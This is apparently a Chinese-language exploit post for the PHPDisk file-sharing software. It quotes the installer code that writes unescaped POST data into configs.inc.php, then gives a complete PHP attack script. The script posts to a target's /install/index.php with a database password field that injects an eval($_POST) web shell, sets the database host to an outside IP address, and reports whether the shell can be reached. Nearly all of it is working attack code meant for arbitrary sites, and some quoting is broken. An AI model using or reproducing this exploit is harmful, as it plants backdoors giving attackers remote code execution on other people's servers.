phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

$str = "<?php".LF.LF;
$str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\tdbhost => $dbhost,".LF.LF;
$str .= "\tdbname => $dbname,".LF.LF;
$str .= "\tdbuser => $dbuser,".LF.LF;
$str .= "\tdbpasswd => $dbpasswd,".LF.LF;
$str .= "\tpconnect => 0,".LF.LF;
$str .= "\ttpf => pd_,".LF.LF;
$str .= "\tcharset => $charset,".LF.LF;
$str .= "\tdebug => 0,".LF.LF;
$str .= ");".LF.LF;
$str .= "define(ADMINCP,admincp);".LF;
$str .= "?>".LF;
$fp = fopen($config_file,w);
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__(write_success)."</font>";
}else{
吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之 。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__(could_not_connect). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__(invalid_query) . mysql_error());
}
@mysql_close($_l);

$site = $argv[1]; //传入的 网站
$url= $site."/install/index.php";
$pass=\,);?><?php eval($_POST[\y\]);?>;
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site./system/configs.inc.php;
if(strpos(@file_get_contents($shell),pconnect)){ //检测是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}